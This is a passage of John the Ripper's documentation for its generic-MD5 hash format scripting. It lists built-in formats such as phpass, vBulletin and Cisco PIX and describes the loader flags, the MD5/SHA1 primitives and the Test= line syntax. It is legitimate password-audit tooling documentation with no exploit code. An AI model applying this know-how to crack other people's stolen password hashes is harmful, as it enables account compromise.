-Expressions can be added to john.conf (john.ini) to allow an end -user to add a new format type, without having to do ANY coding -at all. The end user would have to learn the generic md5 -primitives, and how the data is used (input data, key data, -encryption data, etc). Also, the user would have to build -properly formatted SAMPLE test values (john requires this). -For the full 'HOW TO USE' documentation, see the john.conf. - - -How to build the 'test' value is beyond the scope of this readme, -but a trivial example might help. -Expression format: md5(md5($p).md5($p)) -Password test1 -md5(test1) == 5a105e8b9d40e1329780d62ea2265d8a -so we want to md5 that result concatenated -so md5(md5(test1).md5(test1)) is the same as -md5(5a105e8b9d40e1329780d62ea2265d8a5a105e8b9d40e1329780d62ea2265d8a) -which equals 478b10974f15e7295883224fd286ccba -so a proper 'test' line is: -Test=md5_gen(1003)478b10974f15e7295883224fd286ccba:test1 -( as can be seen in john.conf for md5_gen(1003) ) - -The builtiin formats that john has right now are: - -------------+-------------------------+-------+------------------ -Signature | expression | Salt | notes -------------+-------------------------+-------+------------------ -md5_gen(0) | md5($p) | No | raw-md5 -md5_gen(1) | md5($p.$s) | Yes | (joomla) -md5_gen(2) | md5(md5($p)) | No | double md5 (e107) -md5_gen(3) | md5(md5(md5($p))) | No | triple md5 -md5_gen(4) | md5($s.$p) | Yes | (OS Commerce) -md5_gen(5) | md5($s.$p.$s) | Yes | -md5_gen(6) | md5(md5($p).$s) | Yes | -md5_gen(7) | md5(md5($p).$s) | Yes | vBulletin. 3 byte salt, salt uses ':' char -md5_gen(8) | md5(md5($s).$p) | Yes | -md5_gen(9) | md5($s.md5($p)) | Yes | -md5_gen(10) | md5($s.md5($s.$p)) | Yes | -md5_gen(11) | md5($s.md5($p.$s)) | Yes | -md5_gen(12) | md5(md5($s).md5($p)) | Yes | (IPB) -md5_gen(13) | md5(md5($p).md5($s)) | Yes | -md5_gen(14) | md5($s.md5($p).$s) | Yes | -md5_gen(15) | md5($u.md5($p).$s) | Yes | -md5_gen(16) | md5(md5(md5($p).$s).$s2)| Yes | -md5_gen(17) | phpass ($H$ and $P$) | Yes | phpass and PHPbb-v3 hashes -md5_gen(18) | PostOffice MD5 (PO) | Yes | md5($s.Y.$p.\xF7.$s) (Post.Office MD5) -md5_gen(19) | Cisco PIX | No | -md5_gen(20) | Cisco PIX (salted) | Yes | -md5_gen(21) | HTTP Digest Access Auth | Yes | Contains a 'special' salt function. -md5_gen(22) | md5(sha1($p)) | No | Use sha1 internally, but sill md5 hash (32 byte hex number) -md5_gen(23) | sha1(md5($p)) | No | Requires a 40 byte hex number (valid sha1 input) -md5_gen(24) | sha1($p.$s) | Yes | Requires a 40 byte hex number (valid sha1 input) -md5_gen(25) | sha1($s.$p) | Yes | Requires a 40 byte hex number (valid sha1 input) -md5_gen(26) | sha1($p) (raw-sha1) | No | Requires a 40 byte hex number (valid sha1 input) -md5_gen(27) } FreeBSD md5 | Yes | -md5_gen(28) | Apache MD5 | Yes | - -........ | RESERVED | UNK | -md5_gen(999)| RESERVED | UNK | - -The 'samples' stored in john.conf (to be used as is, or as examples) are: - -md5_gen(1001) md5(md5(md5(md5($p)))) -md5_gen(1002) md5(md5(md5(md5(md5($p))))) -md5_gen(1003) md5(md5($p).md5($p)) -md5_gen(1004) md5(md5(md5(md5(md5(md5($p)))))) -md5_gen(1005) md5(md5(md5(md5(md5(md5(md5($p))))))) -md5_gen(1006) md5(md5(md5(md5(md5(md5(md5(md5($p)))))))) -md5_gen(1007) md5(md5($p).$s) [vBulletin] -md5_gen(1008) md5($p.$s) [joomla] - - - -NOTE the documentation section of john.conf is listed here. It shows -how to setup md5_generic functions (above 1000). All of the primitives -are defined, the data structures are defined, the expression, flags, -saltlen, etc. Following the 'howto use' section, are some working -examples (this whole list is also found in john.conf). - -#################################################################### -#################################################################### -# here are some examples of GENERIC-MD5 -#################################################################### -#################################################################### - -#################################################################### -# Documenation of how to 'setup' GENERIC-MD5 -#################################################################### -# -# Variables / workspaces: -# -# keys[] - Array Used to stored keys (optionally used, we 'may' be able to use input field 1 array) -# input1[] - Array used for encryption, key appending, salt appending, etc happens to/from these -# NOTE if MD5GenBaseFunc__InitialLoadKeysToInput then this is used to store the keys -# and MUST NOT be damaged, since any later key retrieval will come from this buffer. -# This is done as an optimization. Thus input2 is required for additional scratch buffer work. -# output1[] - Array encryption happens and output is put here. -# NOTE final result MUST be put here. This is what the 'hash' array is checked against. -# salt - the salt is put here -# salt2 - 2nd salt ($$2) -# input2[] - Array same as input 1, but a totally different array -# output2[] - Array same as output 2, but totally different array (can not be used as 'final' result) -# userid - User name (fld1). Can be done normal, upper or lower case -# fld0 to fld9 - data from fld1 to fld9 of the input file. -# -# NOTE within the scratch work spaces (input1[] and input2[] arrays), we can only do things like append_keys -# append_salt or other things. Thus, each work space keeps track of each array element (knowing it's contents), -# and keeps track of the length. In the way the scripting works, we can clear them (sets lengths of all -# elements to 0, and 'might' clear out the actual memory). We can append to them (keys, output conversions, -# salt, etc) or we can force set their length to 32 ('special' optimization used in conjunction with -# MD5GenBaseFunc__InitialLoadKeys_md5crypt_ToOutput2_Base16_to_Input1). -# -# NOTE there is NO length validation done, other than input keys are reduced to the max allowable length. -# Thus, if building, and you attempt something like: clear_keys append_keys append_keys append_keys append_keys -# append_keys append_keys and the keys are too long, then they will overflow. The maximal sizes of the -# input arrays are 95 bytes for x86 and 54 bytes for SSE/MMX. Above this will simply give invalid results -# (garbage in, garbage out). -# -##################################################################################### -# -# Flags= values. These flags are 'special' loader flags. They are optional. If used, -# then only ONE of them can be used. -# -################# -# -# Special input flags (all flags listed later). They have certain 'side-effects', and some have special -# rules that MUST be maintained within the script, and thus may not be usable for all scripts. -# These are here mostly for optimization. They do NOT have to be used. If not used, then when -# john adds keys one at a time, they are placed into the array of keys. Then, when loading keys -# the keys are copied from the keys array, into the input1 (2) as needed. -# -# MGF_KEYS_INPUT -# It will not use the keys[] array, but put the keys right -# into the input1[] array. This buffer must not be destroyed. john will NOT use the keys[] -# array, and later retrieval of the key will happen from here (if there are any hashes broken). -# For this to be able to be used. -# $pass must be at the START of the expression. expressions like md5($s.$p) would not work, since -# $pass is not the 'start' of the expression. -# the $pass expression 'may' have to be all by itself. Thus md5($p.$s) would not work (such as joomla) -# but md5(md5($p).$s) can be made to work. -# The input1[] array must NOT be touched (after it is loaded). Thus the below set of functions can NOT -# be used in the script. -# MD5GenBaseFunc__append_keys -# MD5GenBaseFunc__append_keys2 -# MD5GenBaseFunc__clean_input -# MD5GenBaseFunc__append_salt -# MD5GenBaseFunc__append_from_last_output2_to_input1_as_base16 -# MD5GenBaseFunc__overwrite_from_last_output2_to_input1_as_base16_no_size_fix -# MD5GenBaseFunc__append_from_last_output_as_base16 -# MD5GenBaseFunc__overwrite_from_last_output_as_base16_no_size_fix -# MD5GenBaseFunc__append_2nd_salt MD5GenBaseFunc__append_userid -# MD5GenBaseFunc__append_2nd_salt -# MD5GenBaseFunc__set_input_len_32 -# MD5GenBaseFunc__set_input_len_64 -# MD5GenBaseFunc__overwrite_salt_to_input1_no_size_fix -# MD5GenBaseFunc__append_input_from_input2 -# and the flag MGF_KEYS_UNICODE_B4_CRYPT -# -# MGF_KEYS_CRYPT_IN2 -# This will load keys into the keys[] array. It will then perform a md5() and put the ouput -# into output2. This was done a signficant enhancement for forms like md5(md5($p).$s) so that we -# load ALL of the inner md5($p) only once, then re-used them over and over again for each new salt. -# -# MGF_KEYS_BASE16_IN1 -# This is like the above flag, but it takes the extra step of storing the base16 conversion -# of the md5 into input1[] array. Due to this function, we have md5(md5($p).$s) actually working -# FASTER than simple md5($p) (if there are many salts). This is a significant optimization if it can -# be used properly. -# MGF_KEYS_BASE16_X86_IN1 -# same as MGF_KEYS_BASE16_IN1, however, if running in SSE mode, the loader will switch to X86 mode, -# prior to outputting the base-16 back to input1. NOTE, the initial crypt IS done in SSE mode. -# -# MGF_KEYS_BASE16_IN1_Offset32 -# This flag is a not valid for SSE2 (will build a 64 byte password, and 54 bytes is max SSE2 size) -# Psudo function that does the same work as MD5GenBaseFunc__InitialLoadKeys_md5crypt_ToOutput2_Base16_to_Input1 -# however, it loaded the hext to offset 32 (instead of the 'start' of the buffer). When done, the -# input1[] buffers will have 64 byte passwords. The first 32 bytes are null, and the last -# 32 bytes are the hex values. This function is for md5(md5($s).md5($p)) (but certainly could -# be used for other formats. -# MGF_KEYS_BASE16_X86_IN1_Offset32 -# Same as MGF_KEYS_BASE16_IN1_Offset32, but the output is in x86. NOTE, if running in SSE mode, then -# both MGF_KEYS_BASE16_IN1_Offset32 and MGF_KEYS_BASE16_X86_IN1_Offset32 perform exactly the same. Neither -# one of them 'work' in SSE mode, since we will end up with a 64 byte input string (not SSE valid). -# -# MGF_KEYS_UNICODE_B4_CRYPT -# Switch into 'unicode' converstion mode, prior to doing the 'early' MGF_KEYS* flags. The flags which -# can be used with this are: MGF_KEYS_CRYPT_IN2, MGF_KEYS_BASE16_IN1, MGF_KEYS_BASE16_X86_IN1, -# MGF_KEYS_BASE16_IN1_Offset32 (and the x86 versions). Note, that MGF_KEYS_INPUT can NOT be used -# with this flag. -# -# MGF_PHPassSetup -# Special flag used to link the salt, set_salt and set_hash members of the format object to the 'special' -# functions for phpass encryption. -# -# MGF_POSetup -# Special flag used for the special "Post Office" Crypt function. -# -# Depricated 'pseudo' functions (must be first function). These functions still work, but have been depricated. -# md5-gen simply 'transforms' them into the current flag, at script loading time. It is best to NOT use -# these functions in any new scripts, and to remove any usage of them. -# MD5GenBaseFunc__PHPassSetup == MGF_PHPassSetup -# MD5GenBaseFunc__InitialLoadKeysToInput == MGF_KEYS_INPUT -# MD5GenBaseFunc__InitialLoadKeys_md5crypt_ToOutput2 == MGF_KEYS_CRYPT_IN2 -# MD5GenBaseFunc__InitialLoadKeys_md5crypt_ToOutput2_Base16_to_Input1 == MGF_KEYS_BASE16_IN1 -# MD5GenBaseFunc__InitialLoadKeys_md5crypt_ToOutput2_Base16_to_Input1_offset32 == MGF_KEYS_BASE16_IN1_Offset32 -# -#################################################################### -# -# Flag= line(s) Optional, but required IF the format needs them. -# Multiple flags ARE allowed. -# -################# -# -# Flags are just that, switches that tell the generic md5 parser that -# certain things need to be handled. One common used flag is MGF_SALTED -# If the format is a salted hash, then this flag must be present. -# Here is the list of flags, and what they mean, and when you should -# use them -# -# Flag=MGF_SALTED -# Use this for any salted format -# -# Flag=MGF_SALTED2 -# If there are 2 salts in the format, use this flag. NOTE 2 salts -# is defined, but has not be implemented yet in john. -# -# Flag=MGF_ColonNOTValid -# If there is some reason why the : char should not be used by john -# (such as the : is a valid character in the salt. If this is -# set, then the character to be used should be put into the Test= -# lines, AND the user should use that on the command line -# -# Flag=MGF_NOTSSE2Safe -# The max encryption the SSE2 code can handle is 54 bytes. The max -# size encryption for the 'generic' is 125 bytes. So, if it is -# OBVIOUS that sse2 can not be used, due to encryption lengths, -# then set this flag. An example is md5(md5($p).md5($s)) In this -# case, will be 3 md5's. 2 of them will be over the salt, and -# one over the password. Thus, if the password and salt are each -# under 54 bytes, then sse2 could be used. HOWEVER, the 3rd md5 -# (the final one), is done against the concatenation of 2 32 byte -# strings (the md5 results of the first 2 encryptions). THUS we -# KNOW this is a 64 byte string. That will not work in the current -# SSE2 (or mmx) code, and thus, the SSE2/MMX builds can NOT be used -# to test that format. -# -# Flag=MGF_INPBASE64 -# If the hashes are in base-64 (such as phpass), then use this -# flag. Note, the base 64 'format' used is that of phpass. If there -# are other orderings, then this will not work. I know of no formats -# in use, other than phpass (phpbb, wordpress, etc) which use base-64 -# for md5. -# -# Flag=MGF_INPBASE64_4x6 -# If this flag is set, then the input will be base-64, where 4 bytes are -# loaded 6 bits at a time (i.e. 16 bytes of hash). Used in Cisco PIX-MD5 -# Thus, only the lowest 24 bits of each part of the MD5 hash are used. -# This has to happen on the binary loader and comparison functions. -# -# Flag=MGF_USERNAME -# If there is a Username used in the format, use this flag. -# -# Flag=MGF_USERNAME_UPCASE User name, but it is forced to uppercase -# Flag=MGF_USERNAME_LOCASE User name, but it is forced to lowercase -# -# Flag=MGF_SALT_AS_HEX -# This flag is for formats such as md5(md5($p).md5($s)) What this -# does, is to return the md5($s) to john as the salt, and not simply -# return the 'original' salt. Thus, we run md5's for the salt at -# initialization, and never MD5 them again. DO NOT use this for a -# format like md5($s.md5($p).md5($s)) In that format, you NEED -# the salt (along with the md5 of that salt). This flag can not -# be used in that instance. -# -# Flag=MGF_SALT_AS_HEX_TO_SALT2 -# This is 'similar' to MGF_SALT_AS_HEX. It will perform the -# base16 crypt of the salt. However, it stores both the original -# salt, and creates a 'salt2' which is the base16 This is so a -# format like, md5($p.$s.md5($s)) could have both the salt -# and still have the base-16 of the salt. So in this case -# using append_salt would append the original salt, and -# append_2nd_salt would append the base-16 hash of the salt. -# -# Flag=MGF_StartInX86Mode -# This flag will case the format to 'start' in X86 mode, so that -# any initial key loading will also be done to the X86 buffers. -# -# Flag=MGF_SALT_UNICODE_B4_CRYPT -# This flag will case the format to 'start' in Unicode conversion -# mode, so that any initial key loading will also be done to the -# using unicode conversions. -# -# Flag=MGF_BASE_16_OUTPUT_UPCASE -# This flag will case the format to 'start' in uppercase base-16 -# conversion mode, so that any initial key loading will also be -# done to the using unicode conversions. -# -# Flag=MGF_HDAA_SALT -# Special salt loading for the HDAA format md5_gen(21). -# Not useful for anything else. -# -# MGF_FLD0, MGF_FLD1, MGF_FLD2, ... ,MGF_FLD9 -# If any of the fields of the file are part of the format (and -# used within the script), then they either must be part of -# the hash value, or the field must be present on the line. -# If a field IS used, then you also MUST have the proper -# flag set, or the prepare function will NOT load it. -# -# MGF_SHA1_40_BYTE_FINISH -# Tell md5-gen that the 'final' crypt is an SHA1 (still experimental -# code, so 'caveat emptor' ). What this will do, is cause john to -# only load hashes that are 40 hex digits (md5 is 32 hex digits). -# NOTE, when the 'final' crypt is done (in SHA1), it will only have -# the first 16 bytes compared against (vs the full 20 bytes which -# sha1 generates). This 'should' be more than adequate to know -# you have cracked the hash. -# -######################################################## -# -# Function primitives, and what they do (REQUIRED in each format section) -# -################# -# MD5GenBaseFunc__clean_input -# Sets lengths of all input1[] array to ZERO, and sets the memory null (memory only set in SSE2, since it does -# not matter in x86 builds) -# -# MD5GenBaseFunc__clean_input2 -# Same as MD5GenBaseFunc__clean_input but this one works on input2[] array. -# -# MD5GenBaseFunc__clean_input_kwik -# Sets lengths of all input1[] array to ZERO. Memory not cleared. Optimization that can be used when you KNOW -# that the length of any of the input1 strings will never be less than they once were. So if you load keys, -# crypt, clean_input, then repeatedly append_base16 to input and crypt, then during that repeated set of work -# you can call clean_kwik since ALL things being crypted, would be 32 bytes, and the single 'deep' clean would -# get the buffers read to go, and they would not need fully cleaning again. -# -# MD5GenBaseFunc__clean_input2_kwik -# Same as MD5GenBaseFunc__clean_input_kwik but this one works on input2[] array. -# -# MD5GenBaseFunc__clean_input_full -# This makes sure that the entire keys are set with NULL's prior to running. This is a full 'deep' clean. -# In x86 builds, it will fully null out the entire input buffer. In SSE mode, it nulls out both the -# x86 and SSE input buffers (fully). -# -# MD5GenBaseFunc__clean_input2_full -# Same as MD5GenBaseFunc__clean_input_kwik but this one works on input2[] array. -# -# MD5GenBaseFunc__append_keys -# append the array of keys to the array input1[] -# -# MD5GenBaseFunc__append_keys2 -# append the array of keys to the array input2[] -# -# MD5GenBaseFunc__append_salt -# Appends the salt to each element of input1[], and adjusts the length of each element. -# NOTE, the MGF_SALT flag must be used in the format. -# -# MD5GenBaseFunc__append_salt2 -# Appends the salt to each element of input2[], and adjusts the length of each element. -# -# MD5GenBaseFunc__append_2nd_salt -# append the salt2 (second salt value) to the array input1[] -# NOTE, the MGF_SALT2 flag must be used in the format. -# -# MD5GenBaseFunc__append_2nd_salt2 -# append the salt2 to the array input2[] -# -# MD5GenBaseFunc__append_userid -# MD5GenBaseFunc__append_userid2 -# appends the username into either input1 or input2 fields. -# -# MD5GenBaseFunc__crypt -# performs a md5 on all elements of input1[] and places the results into output1[] The output will be the -# 16 byte BINARY blob of the 'raw' md5. -# -# MD5GenBaseFunc__crypt2 -# Same as MD5GenBaseFunc__crypt but this one works on input2[] -> output2[] arrays. -# -# MD5GenBaseFunc__crypt_in1_to_out2 -# Takes the data from input1, performs the MD5 crypts, and stores this data into Output2 -# -# MD5GenBaseFunc__crypt_in2_to_out1 -# Takes the data from input2, performs the MD5 crypts, and stores this data into Output1 -# -# MD5GenBaseFunc__append_from_last_output_as_base16 -# Takes the 16 byte binary values from each output1[] array, and does a base-16 conversion, appending the -# results to the same 'index' of the input1[] array. ALL of the lengths of the array1[] elements will be -# 32 bytes more than they were (the base-16 of each 16 byte binary value is 32 bytes long). -# -# MD5GenBaseFunc__append_from_last_output2_as_base16 -# Same as MD5GenBaseFunc__append_from_last_output_as_base16 but this one works on output2[] -> input2[] arrays. -# -# MD5GenBaseFunc__append_from_last_output_to_input2_as_base16 -# output1[] append -> input2[] arrays. (note, output #1 appending to input #2, base-16) -# -# MD5GenBaseFunc__append_from_last_output2_to_input1_as_base16 -# output2[] append -> input1[] arrays. (note, output #2 appending to input #1, base-16) -# -# MD5GenBaseFunc__append_input_from_input2 -# Appends input2 to input input += input2. Note, the inputX -> inputY copying in SSE2 is slower than -# doing output -> input. -# -# MD5GenBaseFunc__append_input2_from_input -# Appends input1 to input2 input2 += input -# -# MD5GenBaseFunc__append_from_last_output2_as_raw -# Appends the 'raw' output data from output2 to input1. Length of input1 grows by 16 bytes. -# -# MD5GenBaseFunc__overwrite_from_last_output_as_base16_no_size_fix -# NOT IMPLEMENTED: -# Takes the 16 byte binary values from the output1[] array, and overwrites from byte 0 to byte 31 of each -# element of the input1[] array. This is used as an optimizations for formats such as: md5(md5($s).$p) -# in this format, we can place the keys into input1[] at 32 bytes past the start of the buffer, and set -# the lengths to be the length of each key + 32, and then simply call this function for each salt, to -# drop the 32 bytes of md5 data to the start of the strings, without touching the passwords that were -# already stored, or the lengths of the strings. -# -# MD5GenBaseFunc__overwrite_from_last_output2_as_base16_no_size_fix -# NOT IMPLEMENTED: -# Same as MD5GenBaseFunc__overwrite_from_last_output_as_base16_no_size_fix but this one works on output2[] -> input2[] arrays. -# -# MD5GenBaseFunc__overwrite_from_last_output_to_input2_as_base16_no_size_fix -# NOT IMPLEMENTED: -# output1[] overwrite start of input2[] arrays. (note, output #1 going to start of input #2, base-16, no size 'fix') -# like MD5GenBaseFunc__overwrite_from_last_output_as_base16_no_size_fix but different input output vars. -# -# MD5GenBaseFunc__overwrite_from_last_output2_to_input1_as_base16_no_size_fix -# NOT IMPLEMENTED: -# output2[] overwrite start of input1[] arrays. (note, output #2 going to start of input #1, base-16, no size 'fix') -# like MD5GenBaseFunc__overwrite_from_last_output_as_base16_no_size_fix but different input output vars. -# -# MD5GenBaseFunc__overwrite_salt_to_input1_no_size_fix -# Inserts the salt to the start of the first input buffer. DOES NOT append null bytes, nor does it -# adjust the length of the strings. Used if the 'top' part of input buffer 1 stays constant, and -# the salt gets inserted to the start of input buffer (but lengths never change). -# -# MD5GenBaseFunc__overwrite_salt_to_input2_no_size_fix -# Same as MD5GenBaseFunc__overwrite_salt_to_input1_no_size_fix but this one works on salt -> input2[] arrays. -# -# MD5GenBaseFunc__append2_from_last_output2_as_raw -# NOT IMPLEMENTED -# MD5GenBaseFunc__append_from_last_output1_as_raw -# NOT IMPLEMENTED -# MD5GenBaseFunc__append2_from_last_output1_as_raw -# NOT IMPLEMENTED -# -# MD5GenBaseFunc__set_input_len_16 -# Sets the length of each element of input1[] to 16. In SSE2 mode, if the length of the input buffer -# was less than 16, then that 0x80 end of marker is removed, and a new one is 'added' at offset 16. -# -# MD5GenBaseFunc__set_input2_len_16 -# Sets the length of each element of input2[] to 16. -# -# MD5GenBaseFunc__set_input_len_32 -# Sets the length of each element of input1[] to 32. This was designed as is used in conjunction with -# the funtion overwrite_from_last_output_as_base16_no_size_fix in mind, but would not -# be the 'only' reason to use it (but is the only reason I have at this time). This function does NOT -# clean the input[] items prior to this. Usually a call to clean_input would be required priot to -# calling this function, to make sure the buffer is 'clean'. -# -# MD5GenBaseFunc__set_input2_len_32 -# Same as MD5GenBaseFunc__set_input_len_32 but this one works on input2[] array. -# -# MD5GenBaseFunc__set_input_len_64 -# Like the above function, but sets lengths to 64 bytes. NOTE valid to use in SSE2 mode. -# -# MD5GenBaseFunc__set_input2_len_64 -# Same as MD5GenBaseFunc__set_input2_len_64 but this one works on input2[] array. -# -# SSE 'switching' functions. SSE is only valid for 54 byte or less input strings. -# This is due to optimizations which place a 'single' md5 limb restriction on the -# crypts. Thus, for some formats, we have to be in x86 mode only, but for others, -# we can jump in and out of SSE mode. However, to do this, we likely will have -# to convert a buffer (or more). The input buffers, and output buffers are NOT -# compatible between x86 and SSE2. If possible, convert the output buffers, they -# are smaller, and faster (usually). -# -# MD5GenBaseFunc__SSEtoX86_switch_input1 -# Copies the SSE Input1 buffer to x86 Input1. Changes 'mode' to non-SSE for any -# functions that are done after this call. -# MD5GenBaseFunc__SSEtoX86_switch_input2 -# Copies the SSE Input2 buffer to x86 Input2. and changes to non-SSE mode. -# MD5GenBaseFunc__SSEtoX86_switch_output1 -# Copies the SSE Output1 buffer to x86 Output1. and changes to non-SSE mode. -# MD5GenBaseFunc__SSEtoX86_switch_output2 -# Copies the SSE Output2 buffer to x86 Output2. and changes to non-SSE mode. -# -# MD5GenBaseFunc__X86toSSE_switch_input1 -# Copies the x86 Input1 buffer to SSE Input1. Changes 'mode' to SSE for any -# functions that are done after this call. -# MD5GenBaseFunc__X86toSSE_switch_input2 -# Copies the x86 Input2 buffer to SSE Input2. and changes to SSE mode. -# MD5GenBaseFunc__X86toSSE_switch_output1 -# Copies the x86 Output1 buffer to SSE Output1. and changes to SSE mode. -# MD5GenBaseFunc__X86toSSE_switch_output2 -# Copies the x86 Output2 buffer to SSE Output2. and changes to SSE mode. -# -# MD5GenBaseFunc__ToSSE -# Simply switches mode to SSE. No data buffers copied. Usually, used as first -# or last command in a script -# MD5GenBaseFunc__ToX86 -# Simply switches mode to x86. No data buffers copied. Usually, used as first -# or last command in a script -# -# -# Unicode mode. This allows md5-gen to do unicode coversion when doing string -# append (overwrite) operations. Thus, a format such as md5(unicode($p).$s) can -# be generated. -# -# MD5GenBaseFunc__setmode_unicode -# All string ops do Unicode conversions. These are MD5GenBaseFunc__append_keys, -# append_keys2, append_salt, append_salt2, overwrite_salt_to_input1_no_size_fix, -# overwrite_salt_to_input2_no_size_fix, append_2nd_salt, append_2nd_salt2, -# append_userid, append_userid2, append_input1_from_CONST1 (and ALL other const -# append functions) If -utf8 switch is set, then a utf8-to-unicode conversion -# is done. If -utf8 is not there, then a simple ascii-to-unicode (which is simply -# appending a null byte after each byte of string). The -utf8 conversion is -# considerably slower, but is required for many Unicode or utf8 systems. The -# -utf8 stuff is still in development. -# -# MD5GenBaseFunc__setmode_normal -# This is the 'normal' run for john. Back to ascii (or utf8, if -utf8 switch -# set). But there will be NO Unicode conversions done. -# -# -# Upper/Lowercase of md5 - base16 conversions. Normally, this is done to lower -# case. However, there may be systems which do md5 to base 16 in upper case. -# thus, if a hash is md5(upper(md5($p)) this is different than md5(md5($p)) -# These functions turn on or off the upper/lower case conversions. -# -# MD5GenBaseFunc__base16_convert_locase -# This is the 'normal' lowercase. Thus, md5(md5($p)) is assumed to have the -# base-16 done in lower case. -# -# MD5GenBaseFunc__base16_convert_upcase -# Perform base-16 converts in upper case base-16. -# -# MD5GenBaseFunc__append_input1_from_CONST1 -# This will append the first constant value to the input1[] array -# MD5GenBaseFunc__append_input1_from_CONST2 -# MD5GenBaseFunc__append_input1_from_CONST3 -# MD5GenBaseFunc__append_input1_from_CONST4 -# MD5GenBaseFunc__append_input1_from_CONST5 -# MD5GenBaseFunc__append_input1_from_CONST6 -# MD5GenBaseFunc__append_input1_from_CONST7 -# MD5GenBaseFunc__append_input1_from_CONST8 -# Same as MD5GenBaseFunc__append_input1_from_CONST1 but they load the other constant -# values into input1. -# -# MD5GenBaseFunc__append_input2_from_CONST1 -# This loads the first constant value into the input2[] array -# MD5GenBaseFunc__append_input2_from_CONST2 -# MD5GenBaseFunc__append_input2_from_CONST3 -# MD5GenBaseFunc__append_input2_from_CONST4 -# MD5GenBaseFunc__append_input2_from_CONST5 -# MD5GenBaseFunc__append_input2_from_CONST6 -# MD5GenBaseFunc__append_input2_from_CONST7 -# MD5GenBaseFunc__append_input2_from_CONST8 -# Same as MD5GenBaseFunc__append_input2_from_CONST1 but they load the other constant -# values into input2. -# -# MD5GenBaseFunc__append_fld0 -# This will append the data from $$F0 (field 0 of the line, or 'username', to input 1. -# MD5GenBaseFunc__append_fld1 -# MD5GenBaseFunc__append_fld2 -# .... -# MD5GenBaseFunc__append_fld9 -# Will append data from the other fields (from 1 to 9). NOTE, 1 is the 'hash' line, and -# almost certainly should NOT be used. -# -# MD5GenBaseFunc__append2_fld0 -- to -- MD5GenBaseFunc__append2_fld9 -# Loads data from $$F0 to $$F9 (field 0 to field 9) into input buffer 2. -# -# MD5GenBaseFunc__SHA1_crypt_input1_append_input2_base16 -# MD5GenBaseFunc__SHA1_crypt_input2_append_input1_base16 -# MD5GenBaseFunc__SHA1_crypt_input1_overwrite_input1_base16 -# MD5GenBaseFunc__SHA1_crypt_input2_overwrite_input2_base16 -# MD5GenBaseFunc__SHA1_crypt_input1_overwrite_input2_base16 -# MD5GenBaseFunc__SHA1_crypt_input2_overwrite_input1_base16 -# MD5GenBaseFunc__SHA1_crypt_input1_to_output1_FINAL -# MD5GenBaseFunc__SHA1_crypt_input2_to_output1_FINAL -# Currently 'experimental' addition of SHA1 into the md5() syntax. Still much work to -# do. Not for general use (yet). Hopefully, will be able to get things like -# md5(sha1(md5($p))) working (sort of works now, but again, still experimental). -# The 2 '_FINAL' functions should ONLY be used as the last call. This allows -# for support of sha1(sha1(m5($p).$s)) type hashes. NOTE, if you use on of the -# *_FINAL calls, then you have to use the MGF_SHA1_40_BYTE_FINISH flag, and notes -# that only the first 16 bytes of the final hash are evaluated. Also, only 40 bytes -# long hex string hashes will be loaded (base-64? needed?). -# At this time, ALL sha1 is done in non-SSE code (x86, OpenSSL). Also note, that -# ALL output from the SHA1 functions is directly appended or overwritten, right into -# an input buffer. -# -#################### -# These are special functions written SPECIFCALLY for usage by phpass code, in builtin -# function md5_gen(17). These are likely NOT useful. However, they 'are' open to be used. -#################### -# -# MD5GenBaseFunc__crypt_to_input_raw -# Used as 'first' step of phpass crypt. it will put 16 binary bytes of md5 encryption -# into array1[]. It will write this to the beginning of the arrays (does not append), and -# when done, sets ALL lengths of array1[] to 16. Once this function is called, the keys -# are appended (see spec for phpass encryption), which sets the length of input1[] elements -# to 16 + strlen(keys). Then there is a loop that calls the next function. -# -# MD5GenBaseFunc__crypt_to_input_raw_Overwrite_NoLen -# This function will encrypt input1[] and drop the 16 bytes of MD5 binary right back over -# the first 16 bytes of input1[] The length of each input1[] item is NOT touched, thus -# whatever the length was before is what it is now. -# -# MD5GenBaseFunc__crypt_to_input_raw_Overwrite_NoLen_but_setlen_in_SSE -# This is the very first call. It DOES set the length up properly. From that point on, -# the other (1000's) of calls are done using MD5GenBaseFunc__crypt_to_input_raw_Overwrite_NoLen -# -# MD5GenBaseFunc__PHPassCrypt -# Special function for phpass, probably not useful in john.conf scripting -# -# MD5GenBaseFunc__POCrypt -# This is the 'special' crypt call for MD5-PO md5_gen(18). It was done as a 'special', because -# there was about 20% overhead, doing the individual calls. It was much faster to hammer in -# values in a special crypt call. -# -#################################################################### -# -# Test= line(s) (REQUIRED in each format section) -# -# NOTE within these lines, if there are binary values which need to -# be inserted, then use the format of \xHH (2 hex digits which will -# be converted into the 1 byte). So, \xF7 will output the single -# byte "\xF7" which in some ASCII formats, it is the squiggly -# 'about' equals sign. To output some UNICODE or 'wide' type -# characters, you will need to know the exact bytes that are used -# and place a \xHH for each byte. To output the actual \ character -# use \\ So, to output \\ use \\\\ (2 \\ which each get replaced -# with a single \ character). -# NOTE that HH MUST be uppercased for the A to F values, and the 'x' -# MUST be lowercase. -# NOTE, you MUST use \xHH. So, to put a ASCII(1) value, you would -# use \x01 (not \x1 ). -# ALL conversions are done prior to the line being 'looked at' within -# the parser. -# -################# -# -# The testing line is simply of this format: -# -# test=md5_gen(#)hash[$salt]:password -# -# the hash listed, MUST be the hash generated for this password (and -# salt) for the expression. John uses this at startup to validate -# that the format is 'valid'. If this Test= line(s) are not right -# john will not work. NOTE if the format does not allow a colon -# in the format (such as md5_gen(1007), then the exact same field -# separator must be used in the Test= line, as what is specified -# in the --field-separator-char=c used on the command line -# -#################################################################### -# -# Expression= line (Optional) -# -################# -# -# If the Expression= line is there, then the value shown there will -# also be used on the startup line of john. If missing, john will -# output md5_gen(1001) (or whatever number was used), and if -# Expression=, then the md5_gen(1001) will be followed by the -# expression line. -# -#################################################################### -# -# SaltLen=# line (Optional, but required IF the format needs it) -# -################# -# -# If this is a salted hash, and ALL valid salts must be a specific -# length (vBulletin is an example, where 3 byte salts are specified -# and OSCommerce is another with 2 byte hashes). If this is the -# case, add a SaltLen=# line and john will validate, and only test -# lines which have valid salts (i.e. right length salt is part of -# the initial validation of the line) -# -#################################################################### -# -# MaxInputLen=# line (Optional, but required IF the format needs it) -# -################# -# -# If a format has a 'max' length of password (such as Cisco PIX has -# a max length of 16 byte PW), then this must be set. -# -#################################################################### -# -# CONST#=str line (Optional, but required IF the format needs it) -# -# These lines will also use the \xHH (or \\ for a \ ) same as the -# 'Test=' lines. -# -################# -# -# This will allow a constant value to be 'set' and then later used -# in the format. So a format such as md5($p.CONSTANT.$s) can be -# done by setting const 1 to 'CONSTANT' (whatever that string is) -# and then calling MD5GenBaseFunc__append_input1_from_CONST1 at the -# proper time to insert it into the string. -# CONST1=str to CONST8=str are valid (8 constant 